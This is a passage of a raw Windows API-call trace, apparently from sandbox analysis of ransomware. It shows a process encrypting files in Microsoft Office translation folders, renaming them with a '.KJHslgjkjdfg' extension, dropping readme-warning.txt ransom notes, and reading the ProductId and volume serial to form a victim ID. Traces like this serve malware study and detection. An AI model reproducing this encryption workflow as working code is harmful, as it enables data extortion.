ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29defac, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29defac*=0x40000, lpOverlapped=0x0) returned 1 [0179.017] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29defb4*=0x40000) returned 1 [0179.020] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x155020, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.020] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defb0*=0x40000, lpOverlapped=0x0) returned 1 [0179.021] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.021] WriteFile (in: hFile=0x12c, lpBuffer=0x29defb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defb0, lpOverlapped=0x0 | out: lpBuffer=0x29defb8*, lpNumberOfBytesWritten=0x29defb0*=0x8, lpOverlapped=0x0) returned 1 [0179.021] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.021] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.021] SetEndOfFile (hFile=0x12c) returned 1 [0179.025] GetProcessHeap () returned 0x990000 [0179.025] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.025] GetProcessHeap () returned 0x990000 [0179.025] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.kjhslgjkjdfg")) returned 1 [0179.026] CloseHandle (hObject=0x12c) returned 1 [0179.026] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0179.026] GetProcessHeap () returned 0x990000 [0179.026] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.027] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.027] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0179.027] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.027] GetProcessHeap () returned 0x990000 [0179.027] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0179.027] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.027] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0179.027] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.027] GetProcessHeap () returned 0x990000 [0179.027] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0179.027] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.027] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0179.027] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.027] GetProcessHeap () returned 0x990000 [0179.027] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0179.027] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.027] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0179.027] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.027] GetProcessHeap () returned 0x990000 [0179.028] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.028] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.028] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0179.028] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.028] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0179.028] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0179.028] RegCloseKey (hKey=0x12c) returned 0x0 [0179.028] GetProcessHeap () returned 0x990000 [0179.028] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0179.028] GetProcessHeap () returned 0x990000 [0179.028] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.028] GetProcessHeap () returned 0x990000 [0179.029] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.029] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.029] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0179.029] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.029] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0179.029] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0179.029] GetProcessHeap () returned 0x990000 [0179.029] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.029] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0179.029] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0179.029] GetProcessHeap () returned 0x990000 [0179.029] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0179.029] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\readme-warning.txt") returned 79 [0179.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.032] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0179.033] CloseHandle (hObject=0x12c) returned 1 [0179.033] GetProcessHeap () returned 0x990000 [0179.033] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0179.033] GetProcessHeap () returned 0x990000 [0179.033] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0179.034] GetProcessHeap () returned 0x990000 [0179.034] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0179.034] GetProcessHeap () returned 0x990000 [0179.034] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.034] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0179.034] GetProcessHeap () returned 0x990000 [0179.034] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0179.034] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENES", cAlternateFileName="")) returned 1 [0179.034] GetProcessHeap () returned 0x990000 [0179.034] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0179.034] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0179.035] GetProcessHeap () returned 0x990000 [0179.035] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0179.036] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0179.036] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0179.036] GetProcessHeap () returned 0x990000 [0179.036] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b1eb0 [0179.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.036] GetProcessHeap () returned 0x990000 [0179.036] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0179.036] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0179.036] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0179.036] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0179.039] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.039] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.039] GetProcessHeap () returned 0x990000 [0179.039] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.039] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0179.039] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.039] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0179.039] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0179.040] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0179.040] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0179.040] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0179.040] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0179.040] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0179.040] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0179.040] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.040] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xeed1e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xeed1e, lpOverlapped=0x0) returned 1 [0179.063] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xeed20, dwBufLen=0xeed20 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xeed20) returned 1 [0179.075] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.076] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xeed20, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xeed20, lpOverlapped=0x0) returned 1 [0179.079] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.079] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xeedf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.079] SetEndOfFile (hFile=0x12c) returned 1 [0179.084] GetProcessHeap () returned 0x990000 [0179.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.084] GetProcessHeap () returned 0x990000 [0179.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0179.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.kjhslgjkjdfg")) returned 1 [0179.085] CloseHandle (hObject=0x12c) returned 1 [0179.085] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0179.085] GetProcessHeap () returned 0x990000 [0179.085] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0179.085] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.085] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0179.085] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.085] GetProcessHeap () returned 0x990000 [0179.086] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0179.086] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.086] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0179.086] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.086] GetProcessHeap () returned 0x990000 [0179.086] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0179.086] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.086] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0179.086] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.086] GetProcessHeap () returned 0x990000 [0179.086] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0179.086] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.086] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0179.086] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.086] GetProcessHeap () returned 0x990000 [0179.086] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.086] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.086] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0179.086] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.086] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0179.087] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0179.087] RegCloseKey (hKey=0x12c) returned 0x0 [0179.087] GetProcessHeap () returned 0x990000 [0179.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0179.087] GetProcessHeap () returned 0x990000 [0179.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.087] GetProcessHeap () returned 0x990000 [0179.087] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0179.087] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0179.087] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0179.087] CryptDestroyKey (hKey=0x9b6668) returned 1 [0179.087] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0179.087] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0179.088] GetProcessHeap () returned 0x990000 [0179.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0179.088] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0179.088] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0179.088] GetProcessHeap () returned 0x990000 [0179.088] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0179.088] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\readme-warning.txt") returned 79 [0179.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.088] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0179.090] CloseHandle (hObject=0x12c) returned 1 [0179.090] GetProcessHeap () returned 0x990000 [0179.090] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0179.090] GetProcessHeap () returned 0x990000 [0179.090] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0179.090] GetProcessHeap () returned 0x990000 [0179.090] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0179.090] GetProcessHeap () returned 0x990000 [0179.090] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0179.090] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0179.091] GetProcessHeap () returned 0x990000 [0179.091] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0179.091] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, 